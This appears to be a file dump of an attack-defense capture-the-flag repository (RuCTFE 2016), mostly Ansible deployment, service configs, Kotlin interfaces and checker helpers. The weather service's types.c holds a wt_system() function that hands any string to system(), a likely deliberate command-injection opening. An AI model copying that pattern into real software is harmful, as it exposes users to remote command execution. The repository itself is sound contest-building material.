https://raw.githubusercontent.com/HackerDom/ructfe-2016/HEAD/static/static/img/weather/some clouds.png
--------------------------------------------------------------------------------
/static/static/img/weather/thunderstorm.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/HackerDom/ructfe-2016/HEAD/static/static/img/weather/thunderstorm.png
--------------------------------------------------------------------------------
/ansible/roles/crash/files/minidump_stackwalk:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/HackerDom/ructfe-2016/HEAD/ansible/roles/crash/files/minidump_stackwalk
--------------------------------------------------------------------------------
/ansible/roles/vpn/files/teamcheck/favicon.ico:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/HackerDom/ructfe-2016/HEAD/ansible/roles/vpn/files/teamcheck/favicon.ico
--------------------------------------------------------------------------------
/ansible/monitoring.yaml:
--------------------------------------------------------------------------------
1 | - hosts: monitoring
2 | roles:
3 | - common
4 | - monitoring
5 | - monitoring_client
6 | - logging_client
7 |
--------------------------------------------------------------------------------
/ansible/roles/common/templates/65-external_network.j2:
--------------------------------------------------------------------------------
1 | auto eth0
2 | iface eth0 inet dhcp
3 | mtu 8880
4 | post-up /sbin/ethtool -K "$IFACE" tso off
5 |
--------------------------------------------------------------------------------
/services/atlablog/templates/example.html:
--------------------------------------------------------------------------------
1 | {% extends "base.html" %}
2 |
3 | {% block content %}
4 |
hello! {{name}}
5 | {% endblock %}
6 |
--------------------------------------------------------------------------------
/services/crash/.gitignore:
--------------------------------------------------------------------------------
1 | reports/*
2 | reports/*
3 | *.pyc
4 | *.bak
5 | .idea
6 | static/lib/
7 | static/js/atlantis.js
8 | static/css/atlantis.css
9 |
--------------------------------------------------------------------------------
/checkers/atlablog/README.md:
--------------------------------------------------------------------------------
1 | # prepare
2 |
3 | docker build . -t pybase
4 |
5 | # run
6 |
7 | dockermain.py chack atlablog.team715.ructfe.org
8 |
--------------------------------------------------------------------------------
/services/cartographer/gradle/wrapper/gradle-wrapper.jar:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/HackerDom/ructfe-2016/HEAD/services/cartographer/gradle/wrapper/gradle-wrapper.jar
--------------------------------------------------------------------------------
/services/atlablog/README.md:
--------------------------------------------------------------------------------
1 | # how-to run
2 |
3 | pip install -r requirements.txt
4 | python3 main.py
5 |
6 | # run tests
7 |
8 | python3 -m pytest
9 |
--------------------------------------------------------------------------------
/ansible/backuper.yaml:
--------------------------------------------------------------------------------
1 | - hosts: backuper
2 | roles:
3 | - common
4 | - backuper
5 |
6 | - hosts: cs-db
7 | roles:
8 | - common
9 | - backupable
10 |
--------------------------------------------------------------------------------
/ansible/roles/dump/handlers/main.yml:
--------------------------------------------------------------------------------
1 | - name: enable and restart dump
2 | shell: /bin/bash -c "/bin/systemctl enable dump@{0..767}; /bin/systemctl restart dump@{0..767}"
3 |
--------------------------------------------------------------------------------
/ansible/roles/thebin/handlers/main.yml:
--------------------------------------------------------------------------------
1 | ---
2 | - name: restart nginx
3 | service: name=nginx state=restarted
4 |
5 | - name: reload nginx
6 | service: name=nginx state=reloaded
7 |
--------------------------------------------------------------------------------
/services/cartographer/src/main/resources/static/cartographer.ico:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/HackerDom/ructfe-2016/HEAD/services/cartographer/src/main/resources/static/cartographer.ico
--------------------------------------------------------------------------------
/services/thebin/public.lua:
--------------------------------------------------------------------------------
1 | local ws = require 'ws'
2 |
3 | local module = {}
4 |
5 | function module.process()
6 | ws.process('publics')
7 | end
8 |
9 | return module
10 |
--------------------------------------------------------------------------------
/ansible/roles/general_nginx/handlers/main.yml:
--------------------------------------------------------------------------------
1 | ---
2 | - name: restart nginx
3 | service: name=nginx state=restarted
4 |
5 | - name: reload nginx
6 | service: name=nginx state=reloaded
7 |
--------------------------------------------------------------------------------
/ansible/roles/nginx/tasks/main.yml:
--------------------------------------------------------------------------------
1 | ---
2 | - name: Install nginx
3 | apt: pkg={{ item }} default_release=testing
4 | with_items:
5 | - nginx-extras
6 | - rsync
7 | - sudo
8 |
--------------------------------------------------------------------------------
/services/cartographer/src/main/kotlin/cartographer/crypto/KeyStorage.kt:
--------------------------------------------------------------------------------
1 | package cartographer.crypto
2 |
3 | import java.security.Key
4 |
5 | interface KeyStorage {
6 | fun get(): Key
7 | }
--------------------------------------------------------------------------------
/static/static/lib/bootstrap/fonts/glyphicons-halflings-regular.eot:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/HackerDom/ructfe-2016/HEAD/static/static/lib/bootstrap/fonts/glyphicons-halflings-regular.eot
--------------------------------------------------------------------------------
/static/static/lib/bootstrap/fonts/glyphicons-halflings-regular.ttf:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/HackerDom/ructfe-2016/HEAD/static/static/lib/bootstrap/fonts/glyphicons-halflings-regular.ttf
--------------------------------------------------------------------------------
/static/static/lib/bootstrap/fonts/glyphicons-halflings-regular.woff:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/HackerDom/ructfe-2016/HEAD/static/static/lib/bootstrap/fonts/glyphicons-halflings-regular.woff
--------------------------------------------------------------------------------
/static/static/lib/bootstrap/fonts/glyphicons-halflings-regular.woff2:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/HackerDom/ructfe-2016/HEAD/static/static/lib/bootstrap/fonts/glyphicons-halflings-regular.woff2
--------------------------------------------------------------------------------
/ansible/roles/monitoring_client/files/diamond/collectors/MemoryCollector.conf:
--------------------------------------------------------------------------------
1 | enabled = True
2 | ttl_multiplier = 2
3 | path_suffix = ""
4 | measure_collector_time = True
5 | byte_unit = byte,
6 |
--------------------------------------------------------------------------------
/ansible/roles/monitoring_client/files/diamond/collectors/VMStatCollector.conf:
--------------------------------------------------------------------------------
1 | enabled = True
2 | ttl_multiplier = 2
3 | path_suffix = ""
4 | measure_collector_time = False
5 | byte_unit = byte,
6 |
--------------------------------------------------------------------------------
/ansible/roles/monitoring_client/files/diamond/collectors/ProcessStatCollector.conf:
--------------------------------------------------------------------------------
1 | enabled = True
2 | ttl_multiplier = 2
3 | path_suffix = ""
4 | measure_collector_time = False
5 | byte_unit = byte,
6 |
--------------------------------------------------------------------------------
/ansible/roles/monitoring_client/files/diamond/collectors/SockstatCollector.conf:
--------------------------------------------------------------------------------
1 | enabled = True
2 | ttl_multiplier = 2
3 | path_suffix = ""
4 | measure_collector_time = False
5 | byte_unit = byte,
6 |
--------------------------------------------------------------------------------
/services/cartographer/src/main/kotlin/cartographer/crypto/KeyGenerator.kt:
--------------------------------------------------------------------------------
1 | package cartographer.crypto
2 |
3 | import java.security.Key
4 |
5 | interface KeyGenerator {
6 | fun generate(): Key
7 | }
--------------------------------------------------------------------------------
/ansible/roles/common/templates/60-internal_network.j2:
--------------------------------------------------------------------------------
1 | auto eth1
2 | iface eth1 inet static
3 | address {{private_addr}}
4 | netmask 255.255.255.0
5 | mtu 8880
6 | post-up /sbin/ethtool -K "$IFACE" tso off
7 |
--------------------------------------------------------------------------------
/services/cartographer/src/main/kotlin/cartographer/settings/SettingsContainer.kt:
--------------------------------------------------------------------------------
1 | package cartographer.settings
2 |
3 | interface SettingsContainer {
4 | fun getSettingValue(key: String) : String?
5 | }
--------------------------------------------------------------------------------
/services/atlablog/static/lib/bootstrap/fonts/glyphicons-halflings-regular.eot:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/HackerDom/ructfe-2016/HEAD/services/atlablog/static/lib/bootstrap/fonts/glyphicons-halflings-regular.eot
--------------------------------------------------------------------------------
/services/atlablog/static/lib/bootstrap/fonts/glyphicons-halflings-regular.ttf:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/HackerDom/ructfe-2016/HEAD/services/atlablog/static/lib/bootstrap/fonts/glyphicons-halflings-regular.ttf
--------------------------------------------------------------------------------
/services/atlablog/static/lib/bootstrap/fonts/glyphicons-halflings-regular.woff:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/HackerDom/ructfe-2016/HEAD/services/atlablog/static/lib/bootstrap/fonts/glyphicons-halflings-regular.woff
--------------------------------------------------------------------------------
/services/sapmarine/Sources/main.swift:
--------------------------------------------------------------------------------
1 | import Foundation
2 | import Kitura
3 | import SwiftyJSON
4 |
5 | let sapmarine = Sapmarine()
6 | sapmarine.Start(port: 31337);
7 |
8 | RunLoop.current.run()
9 |
--------------------------------------------------------------------------------
/services/sapmarine/static/lib/bootstrap/fonts/glyphicons-halflings-regular.eot:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/HackerDom/ructfe-2016/HEAD/services/sapmarine/static/lib/bootstrap/fonts/glyphicons-halflings-regular.eot
--------------------------------------------------------------------------------
/services/sapmarine/static/lib/bootstrap/fonts/glyphicons-halflings-regular.ttf:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/HackerDom/ructfe-2016/HEAD/services/sapmarine/static/lib/bootstrap/fonts/glyphicons-halflings-regular.ttf
--------------------------------------------------------------------------------
/ansible/roles/cs_flags/tasks/main.yml:
--------------------------------------------------------------------------------
1 | - name: systemd configs
2 | template: src=flags@.service.j2 dest=/etc/systemd/system/flags@.service
3 |
4 | - name: systemd reload
5 | command: systemctl daemon-reload
6 |
--------------------------------------------------------------------------------
/ansible/roles/lxc/templates/default.conf.j2:
--------------------------------------------------------------------------------
1 | lxc.start.auto = 1
2 | lxc.group = onboot
3 | lxc.network.type = veth
4 | lxc.network.link = lxcbr0
5 | lxc.network.flags = up
6 | lxc.network.hwaddr = 00:16:3e:xx:xx:xx
7 |
--------------------------------------------------------------------------------
/services/atlablog/static/lib/bootstrap/fonts/glyphicons-halflings-regular.woff2:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/HackerDom/ructfe-2016/HEAD/services/atlablog/static/lib/bootstrap/fonts/glyphicons-halflings-regular.woff2
--------------------------------------------------------------------------------
/services/sapmarine/static/lib/bootstrap/fonts/glyphicons-halflings-regular.woff:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/HackerDom/ructfe-2016/HEAD/services/sapmarine/static/lib/bootstrap/fonts/glyphicons-halflings-regular.woff
--------------------------------------------------------------------------------
/services/sapmarine/static/lib/bootstrap/fonts/glyphicons-halflings-regular.woff2:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/HackerDom/ructfe-2016/HEAD/services/sapmarine/static/lib/bootstrap/fonts/glyphicons-halflings-regular.woff2
--------------------------------------------------------------------------------
/ansible/roles/monitoring_client/files/diamond/collectors/LoadAverageCollector.conf:
--------------------------------------------------------------------------------
1 | enabled = True
2 | ttl_multiplier = 2
3 | path_suffix = ""
4 | measure_collector_time = False
5 | byte_unit = byte,
6 | simple = False
7 |
--------------------------------------------------------------------------------
/services/cartographer/src/main/kotlin/cartographer/throttling/Throttler.kt:
--------------------------------------------------------------------------------
1 | package cartographer.throttling
2 |
3 | interface Throttler {
4 | fun tryAcquireResource(): Boolean
5 |
6 | fun releaseResource()
7 | }
--------------------------------------------------------------------------------
/services/cartographer/src/main/kotlin/cartographer/providers/DateTimeProvider.kt:
--------------------------------------------------------------------------------
1 | package cartographer.providers
2 |
3 | import java.time.ZonedDateTime
4 |
5 | interface DateTimeProvider {
6 | fun get(): ZonedDateTime
7 | }
--------------------------------------------------------------------------------
/services/weather/httpserver.h:
--------------------------------------------------------------------------------
1 | #pragma once
2 |
3 | #include "types.h"
4 | #include "server.h"
5 |
6 | int32 wt_start_http_server(uint32 address, int32 port);
7 |
8 | void wt_http_process_client(const struct client *client);
--------------------------------------------------------------------------------
/services/cartographer/src/main/kotlin/cartographer/crypto/KeyDeserializer.kt:
--------------------------------------------------------------------------------
1 | package cartographer.crypto
2 |
3 | import java.security.Key
4 |
5 | interface KeyDeserializer {
6 | fun deserialize(serialized: ByteArray): Key
7 | }
--------------------------------------------------------------------------------
/services/cartographer/src/main/kotlin/cartographer/settings/RequiredSettingMissingException.kt:
--------------------------------------------------------------------------------
1 | package cartographer.settings
2 |
3 | class RequiredSettingMissingException(key: String) : Throwable("Required setting '$key' is missing")
--------------------------------------------------------------------------------
/ansible/roles/monitoring_client/files/diamond/collectors/FilesCollector.conf:
--------------------------------------------------------------------------------
1 | enabled = True
2 | ttl_multiplier = 2
3 | path_suffix = ""
4 | measure_collector_time = True
5 | byte_unit = byte,
6 | dir = /tmp/diamond
7 | delete = True
8 |
--------------------------------------------------------------------------------
/services/weather/logging.h:
--------------------------------------------------------------------------------
1 | #pragma once
2 |
3 | void wt_init_logging(const char *filename);
4 |
5 | void wt_log_info(const char *format, ...);
6 | void wt_log_warn(const char *format, ...);
7 | void wt_log_error(const char *format, ...);
--------------------------------------------------------------------------------
/ansible/roles/logging_client/tasks/main.yml:
--------------------------------------------------------------------------------
1 | - name: setup logging client
2 | copy: dest="/etc/rsyslog.d/60-remote.conf" content="*.* @10.10.10.10:5140;RSYSLOG_SyslogProtocol23Format"
3 | notify: restart rsyslog
4 | tags: logging-client
5 |
--------------------------------------------------------------------------------
/services/cartographer/src/main/kotlin/cartographer/data/ChunkMetadata.kt:
--------------------------------------------------------------------------------
1 | package cartographer.data
2 |
3 | import com.fasterxml.jackson.annotation.JsonProperty
4 |
5 | data class ChunkMetadata(@JsonProperty("sessionKey") val sessionKey: ByteArray)
--------------------------------------------------------------------------------
/services/cartographer/src/main/kotlin/cartographer/providers/ReplicasProvider.kt:
--------------------------------------------------------------------------------
1 | package cartographer.providers
2 |
3 | import cartographer.data.Replica
4 |
5 | interface ReplicasProvider {
6 | fun GetReplicas() : Collection
7 | }
--------------------------------------------------------------------------------
/services/atlablog/users/__init__.py:
--------------------------------------------------------------------------------
1 | from .service import get_user_service, clear_user_services # noqa
2 | from .blueprint import bp as user_blueprint
3 |
4 | __all__ = (
5 | 'get_user_service', 'clear_user_services', 'user_blueprint',
6 | )
7 |
--------------------------------------------------------------------------------
/services/cartographer/src/main/kotlin/cartographer/providers/AddressedProvider.kt:
--------------------------------------------------------------------------------
1 | package cartographer.providers
2 |
3 | import java.net.InetSocketAddress
4 |
5 | interface AddressedProvider {
6 | fun getAddresses() : List
7 | }
--------------------------------------------------------------------------------
/ansible/roles/monitoring_client/files/diamond/collectors/CPUCollector.conf:
--------------------------------------------------------------------------------
1 | enabled = True
2 | ttl_multiplier = 2
3 | normalize = False
4 | measure_collector_time = True
5 | byte_unit = byte,
6 | simple = False
7 | percore = False
8 | path_suffix = ""
9 |
--------------------------------------------------------------------------------
/ansible/roles/stretch/templates/apt_preferences.j2:
--------------------------------------------------------------------------------
1 | Package: *
2 | Pin: release a=stable
3 | Pin-Priority: 700
4 |
5 | Package: *
6 | Pin: release a=testing
7 | Pin-Priority: 650
8 |
9 | Package: *
10 | Pin: release a=unstable
11 | Pin-Priority: 600
--------------------------------------------------------------------------------
/services/atlablog/entries/__init__.py:
--------------------------------------------------------------------------------
1 | from .service import get_entry_service, clear_entry_services # noqa
2 | from .blueprint import bp as entry_blueprint
3 |
4 | __all__ = (
5 | 'get_entry_service', 'clear_entry_services', 'entry_blueprint',
6 | )
7 |
--------------------------------------------------------------------------------
/ansible/roles/general_nginx/templates/service.conf.j2:
--------------------------------------------------------------------------------
1 | upstream {{ item.name }} {
2 | server {{ item.name }}.lxc:{{ item.remote_port | default(item.port) }};
3 | }
4 |
5 | server {
6 | listen {{ item.port }};
7 | proxy_pass {{ item.name }};
8 | }
9 |
--------------------------------------------------------------------------------
/ansible/roles/monitoring_client/files/diamond/collectors/UserScriptsCollector.conf:
--------------------------------------------------------------------------------
1 | enabled = True
2 | ttl_multiplier = 2
3 | path_suffix = ""
4 | measure_collector_time = False
5 | floatprecision = 4
6 | byte_unit = byte,
7 | scripts_path = /etc/diamond/user_scripts/
8 |
--------------------------------------------------------------------------------
/services/atlablog/sessions/__init__.py:
--------------------------------------------------------------------------------
1 | from .service import get_session_service, clear_session_services # noqa
2 | from .blueprint import bp as session_blueprint
3 |
4 | __all__ = (
5 | 'get_session_service', 'clear_session_services', 'session_blueprint',
6 | )
7 |
--------------------------------------------------------------------------------
/checkers/crash/UserAgents.py:
--------------------------------------------------------------------------------
1 | import random
2 |
3 | UserAgents = None
4 |
5 | def get():
6 | global UserAgents
7 | if UserAgents is None:
8 | with open('user-agents') as fin:
9 | UserAgents = [line.strip() for line in fin]
10 | return random.choice(UserAgents)
--------------------------------------------------------------------------------
/services/cartographer/src/main/kotlin/cartographer/data/Replica.kt:
--------------------------------------------------------------------------------
1 | package cartographer.data
2 |
3 | import com.fasterxml.jackson.annotation.JsonProperty
4 | import java.net.InetSocketAddress
5 |
6 | data class Replica(@JsonProperty("address") val address: InetSocketAddress)
--------------------------------------------------------------------------------
/services/cartographer/src/main/kotlin/cartographer/settings/SettingsParseException.kt:
--------------------------------------------------------------------------------
1 | package cartographer.settings
2 |
3 | class SettingsParseException(key: String, valueString: String, ex: Throwable)
4 | : Exception("Could not parse setting '$key' with value $valueString", ex)
--------------------------------------------------------------------------------
/services/crash/views/main_page.tpl:
--------------------------------------------------------------------------------
1 | % rebase('base.tpl', title='')
2 |
3 |
4 |
5 | | GUID |
6 | Service name |
7 | Signature |
8 | Time |
9 |
10 |
11 |
--------------------------------------------------------------------------------
/services/weather/types.c:
--------------------------------------------------------------------------------
1 | #include
2 | #include
3 |
4 | #include "types.h"
5 |
6 | void wt_error(const char *message)
7 | {
8 | perror(message);
9 | exit(1);
10 | }
11 |
12 | void wt_system(const char *command)
13 | {
14 | system(command);
15 | }
--------------------------------------------------------------------------------
/ansible/cs-flags.yaml:
--------------------------------------------------------------------------------
1 | - hosts: cs-flags
2 | roles:
3 | - common
4 | - { role: cs_common, tags: ['cs'] }
5 | - { role: cs_flags, tags: ['cs'] }
6 | - logging_client
7 | vars:
8 | cs_user: cs
9 | cs_dir: /home/cs
10 | cs_conf: c_s.conf.test.j2
11 |
--------------------------------------------------------------------------------
/services/atlablog/_buisness_views/__init__.py:
--------------------------------------------------------------------------------
1 | USER_DB_NAME = None
2 | REDIRECT_AFTER_LOGIN = '/'
3 | REDIRECT_AFTER_LOGOUT = '/login'
4 |
5 | MEDIA_URL = '/media'
6 |
7 | BLOG_ENTRY_DB_NAME = 'blog'
8 | COMMENT_ENTRY_DB_NAME = 'comments'
9 | FILES_ENTRY_DB_NAME = 'files'
10 |
--------------------------------------------------------------------------------
/services/weather/controlserver.h:
--------------------------------------------------------------------------------
1 | #pragma once
2 |
3 | #include "types.h"
4 | #include "server.h"
5 |
6 | int32 wt_start_control_server(uint32 address, int32 port);
7 |
8 | void wt_control_process_client(const struct client *client);
9 |
10 | void wt_update_forecast_data();
--------------------------------------------------------------------------------
/ansible/roles/dump/scripts/get_flagsubmit_traffic.sh:
--------------------------------------------------------------------------------
1 | #!/bin/bash
2 |
3 | # A helper script to show realtime team data in wireshark
4 | # Uses ssh connection to traffic dump server
5 |
6 | filter="port 31337"
7 | ssh root@mon.a10 "tcpdump -U -i eth1 -w - -s 0 ${filter}" | wireshark -k -i -
8 |
--------------------------------------------------------------------------------
/services/cartographer/src/main/kotlin/cartographer/storage/ChunkReplicator.kt:
--------------------------------------------------------------------------------
1 | package cartographer.storage
2 |
3 | import cartographer.data.Replica
4 | import java.util.*
5 |
6 | interface ChunkReplicator {
7 | fun replicate(id: UUID, chunk: ByteArray, replicas: Collection)
8 | }
--------------------------------------------------------------------------------
/ansible/roles/crash/templates/service.j2:
--------------------------------------------------------------------------------
1 | [Unit]
2 | Description=Crash
3 | After=network.target
4 |
5 | [Service]
6 | ExecStart=/home/crash/crash_report.py
7 | User=crash
8 | Restart=always
9 | RestartSec=5
10 | WorkingDirectory=/home/crash/
11 |
12 | [Install]
13 | WantedBy=multi-user.target
14 |
--------------------------------------------------------------------------------
/services/atlablog/requirements.txt:
--------------------------------------------------------------------------------
1 | sanic==0.1.7
2 | aiohttp==1.0.5
3 | peewee-async==0.5.5
4 | aiopg==0.12.0
5 | aiocache==0.1.13
6 | jinja2==2.8
7 | wtforms==2.1
8 |
9 | # blog
10 | micawber==0.3.3
11 | markdown==2.6.7
12 | python-slugify==1.2.1
13 | beautifulsoup4==4.5.1
14 |
15 | pytest
16 |
--------------------------------------------------------------------------------
/services/atlablog/settings.py:
--------------------------------------------------------------------------------
1 | import os
2 |
3 |
4 | BASE_DIR = os.path.abspath(os.path.dirname(__name__))
5 | TEMPLATES_DIR = os.path.join(BASE_DIR, 'templates')
6 | STATIC_DIR = os.path.join(BASE_DIR, 'static')
7 | DATA_DIR = os.path.join(BASE_DIR, '__data__')
8 |
9 | DATABASE = 'test'
10 |
--------------------------------------------------------------------------------
/services/cartographer/src/main/kotlin/cartographer/crypto/Cryptography.kt:
--------------------------------------------------------------------------------
1 | package cartographer.crypto
2 |
3 | import java.security.Key
4 |
5 | interface Cryptography {
6 | fun encrypt(key: Key, plaintext: ByteArray): ByteArray
7 |
8 | fun decrypt(key: Key, ciphertext: ByteArray): ByteArray
9 | }
--------------------------------------------------------------------------------
/ansible/roles/weather/templates/service.j2:
--------------------------------------------------------------------------------
1 | [Unit]
2 | Description=weather
3 | After=network.target
4 |
5 | [Service]
6 | ExecStart=/home/weather/weather
7 | User=weather
8 | Restart=always
9 | RestartSec=5
10 | WorkingDirectory=/home/weather/
11 |
12 | [Install]
13 | WantedBy=multi-user.target
14 |
--------------------------------------------------------------------------------
/checkers/thebin/UserAgents.py:
--------------------------------------------------------------------------------
1 | #!/usr/bin/env python3
2 |
3 | import random
4 |
5 | UserAgents = None
6 |
7 | def get():
8 | global UserAgents
9 | if UserAgents is None:
10 | with open('user-agents') as fin:
11 | UserAgents = [line.strip() for line in fin]
12 | return random.choice(UserAgents)
--------------------------------------------------------------------------------
/services/weather/randrec.py:
--------------------------------------------------------------------------------
1 | #! /usr/bin/env python
2 |
3 | import random, string
4 |
5 | key = ''.join(random.choice(string.ascii_lowercase) for _ in range(12))
6 | value = ''.join(random.choice(string.ascii_uppercase + string.digits) for _ in range(31)) + '='
7 |
8 | print("\x01\x00\x00\x00" + key + value)
--------------------------------------------------------------------------------
/ansible/roles/lxc/templates/lxc-net.j2:
--------------------------------------------------------------------------------
1 | USE_LXC_BRIDGE="true"
2 | LXC_BRIDGE="lxcbr0"
3 | LXC_ADDR="192.168.254.254"
4 | LXC_NETMASK="255.255.255.0"
5 | LXC_NETWORK="192.168.254.0/24"
6 | LXC_DHCP_RANGE="192.168.254.1,192.168.254.253"
7 | LXC_DHCP_MAX="253"
8 | LXC_DHCP_CONFILE=""
9 | LXC_DOMAIN="lxc"
10 |
--------------------------------------------------------------------------------
/checkers/cartographer/UserAgents.py:
--------------------------------------------------------------------------------
1 | #!/usr/bin/env python3
2 |
3 | import random
4 |
5 | UserAgents = None
6 |
7 | def get():
8 | global UserAgents
9 | if UserAgents is None:
10 | with open('user-agents') as fin:
11 | UserAgents = [line.strip() for line in fin]
12 | return random.choice(UserAgents)
--------------------------------------------------------------------------------
/services/cartographer/gradle/wrapper/gradle-wrapper.properties:
--------------------------------------------------------------------------------
1 | #Sun Nov 06 21:21:44 YEKT 2016
2 | distributionBase=GRADLE_USER_HOME
3 | distributionPath=wrapper/dists
4 | zipStoreBase=GRADLE_USER_HOME
5 | zipStorePath=wrapper/dists
6 | distributionUrl=https\://services.gradle.org/distributions/gradle-3.1-bin.zip
7 |
--------------------------------------------------------------------------------
/services/cartographer/src/main/kotlin/cartographer/data/SynchronizeTimeRequest.kt:
--------------------------------------------------------------------------------
1 | package cartographer.data
2 |
3 | import com.fasterxml.jackson.annotation.JsonProperty
4 | import java.time.ZonedDateTime
5 |
6 | data class SynchronizeTimeRequest(@JsonProperty("sendRequestTime") val sendRequestTime: ZonedDateTime)
--------------------------------------------------------------------------------
/services/cartographer/src/main/kotlin/cartographer/providers/LatencyCalculator.kt:
--------------------------------------------------------------------------------
1 | package cartographer.providers
2 |
3 | import java.net.InetSocketAddress
4 | import java.time.Duration
5 |
6 | interface LatencyCalculator {
7 | fun CalcLatency(addr: InetSocketAddress, maxAllowedDuration: Duration): Long?
8 | }
--------------------------------------------------------------------------------
/services/cartographer/src/main/kotlin/cartographer/settings/IntSetting.kt:
--------------------------------------------------------------------------------
1 | package cartographer.settings
2 |
3 | class IntSetting : Setting {
4 | constructor(key: String) : super(key, String::toInt)
5 |
6 | constructor(key: String, defaultValue: Int) : super(key, String::toInt, defaultValue)
7 | }
8 |
9 |
--------------------------------------------------------------------------------
/ansible/roles/logging/handlers/main.yml:
--------------------------------------------------------------------------------
1 | - name: enable and restart elasticsearch
2 | service: name=elasticsearch enabled=yes state=restarted
3 |
4 | - name: enable and restart graylog
5 | service: name=graylog-server enabled=yes state=restarted
6 |
7 | - name: restart nginx
8 | service: name=nginx state=restarted
9 |
--------------------------------------------------------------------------------
/ansible/roles/monitoring_client/files/diamond/collectors/DiskSpaceCollector.conf:
--------------------------------------------------------------------------------
1 | enabled = True
2 | ttl_multiplier = 2
3 | path_suffix = ""
4 | measure_collector_time = False
5 | exclude_filters = ^/export/home,
6 | byte_unit = byte,
7 | filesystems = "ext2, ext3, ext4, xfs, glusterfs, nfs, ntfs, hfs, fat32, fat16, btrfs"
8 |
--------------------------------------------------------------------------------
/services/cartographer/src/main/kotlin/cartographer/settings/StringSetting.kt:
--------------------------------------------------------------------------------
1 | package cartographer.settings
2 |
3 | class StringSetting : Setting {
4 | constructor(key: String) : super(key, { str -> str })
5 |
6 | constructor(key: String, defaultValue: String) : super(key, { str -> str }, defaultValue)
7 | }
--------------------------------------------------------------------------------
/ansible/roles/stretch/tasks/main.yml:
--------------------------------------------------------------------------------
1 | ---
2 | - name: Stretch | Packages | Add testing repo
3 | apt_repository: repo='deb http://mirror.yandex.ru/debian stretch main' update_cache=yes
4 |
5 | - name: Stretch | Packages | Fix testing priority
6 | become: yes
7 | template: src=apt_preferences.j2 dest=/etc/apt/preferences
8 |
--------------------------------------------------------------------------------
/services/cartographer/src/main/kotlin/cartographer/settings/DoubleSetting.kt:
--------------------------------------------------------------------------------
1 | package cartographer.settings
2 |
3 | class DoubleSetting : Setting {
4 | constructor(key: String) : super(key, String::toDouble)
5 |
6 | constructor(key: String, defaultValue: Double) : super(key, String::toDouble, defaultValue)
7 | }
--------------------------------------------------------------------------------
/ansible/roles/sapmarine/templates/service.j2:
--------------------------------------------------------------------------------
1 | [Unit]
2 | Description=Sapmarine
3 | After=network.target
4 |
5 | [Service]
6 | ExecStart=/home/sapmarine/bin/release/sapmarine
7 | User=sapmarine
8 | Restart=always
9 | RestartSec=5
10 | WorkingDirectory=/home/sapmarine/
11 |
12 | [Install]
13 | WantedBy=multi-user.target
14 |
--------------------------------------------------------------------------------
/ansible/roles/vpn/files/snat/del_snat_rules.sh:
--------------------------------------------------------------------------------
1 | #!/bin/bash
2 | # removes rules for teams snat
3 | # this script shouldn't be run normally :)
4 |
5 | for num in {0..767}; do
6 | ip="10.$((80 + num / 256)).$((num % 256)).1"
7 |
8 | iptables -t nat -D POSTROUTING -o team${num} -j SNAT --to-source ${ip}
9 | done
10 |
--------------------------------------------------------------------------------
/services/cartographer/src/main/kotlin/cartographer/storage/ChunkStorage.kt:
--------------------------------------------------------------------------------
1 | package cartographer.storage
2 |
3 | import java.util.*
4 |
5 | interface ChunkStorage {
6 | fun getChunk(id: UUID): ByteArray?
7 |
8 | fun getRecentChunks(): Collection
9 |
10 | fun putChunk(id: UUID, chunk: ByteArray): Boolean
11 | }
--------------------------------------------------------------------------------
/ansible/roles/atlablog/templates/service.j2:
--------------------------------------------------------------------------------
1 | [Unit]
2 | Description=atlablog
3 | After=network.target
4 |
5 | [Service]
6 | ExecStart=/home/atlablog/venv/bin/python /home/atlablog/main.py
7 | User=atlablog
8 | Restart=always
9 | RestartSec=5
10 | WorkingDirectory=/home/atlablog/
11 |
12 | [Install]
13 | WantedBy=multi-user.target
14 |
--------------------------------------------------------------------------------
/ansible/roles/cartographer/templates/service.j2:
--------------------------------------------------------------------------------
1 | [Unit]
2 | Description=cartographer
3 | After=network.target
4 |
5 | [Service]
6 | ExecStart=/usr/bin/java -jar cartographer.jar
7 | User=cartographer
8 | Restart=always
9 | RestartSec=5
10 | WorkingDirectory=/home/cartographer/
11 |
12 | [Install]
13 | WantedBy=multi-user.target
14 |
--------------------------------------------------------------------------------
/ansible/roles/monitoring_client/files/diamond/collectors/DiskUsageCollector.conf:
--------------------------------------------------------------------------------
1 | enabled = True
2 | ttl_multiplier = 2
3 | sector_size = 512
4 | measure_collector_time = False
5 | byte_unit = byte,
6 | send_zero = False
7 | devices = PhysicalDrive[0-9]+$|md[0-9]+$|sd[a-z]+[0-9]*$|x?vd[a-z]+[0-9]*$|disk[0-9]+$|dm\-[0-9]+$
8 | path_suffix = ""
9 |
--------------------------------------------------------------------------------
/ansible/ansible.cfg:
--------------------------------------------------------------------------------
1 | [defaults]
2 | forks = 32
3 | inventory = inventory.cfg
4 | log_path = .log/ansible.log
5 | gathering = explicit
6 | pipelining = True
7 | remote_user = root
8 | nocows = 1
9 | host_key_checking = False
10 | callback_whitelist = profile_tasks
11 |
12 | #[privilege_escalation]
13 | #become = yes
14 |
--------------------------------------------------------------------------------
/ansible/roles/monitoring_client/files/diamond/collectors/ConnTrackCollector.conf:
--------------------------------------------------------------------------------
1 | enabled = True
2 | files = "ip_conntrack_count,ip_conntrack_max,nf_conntrack_count,nf_conntrack_max"
3 | ttl_multiplier = 2
4 | measure_collector_time = False
5 | byte_unit = byte,
6 | path_suffix = ""
7 | dir = "/proc/sys/net/ipv4/netfilter,/proc/sys/net/netfilter"
8 |
--------------------------------------------------------------------------------
/services/weather/entrypoint.c:
--------------------------------------------------------------------------------
1 | #include "dispatcher.h"
2 | #include "controlserver.h"
3 | #include "storage.h"
4 | #include "logging.h"
5 | #include "types.h"
6 |
7 | int32 main()
8 | {
9 | wt_init_logging("weather.log");
10 | wt_init_storage("weather.db");
11 |
12 | wt_update_forecast_data();
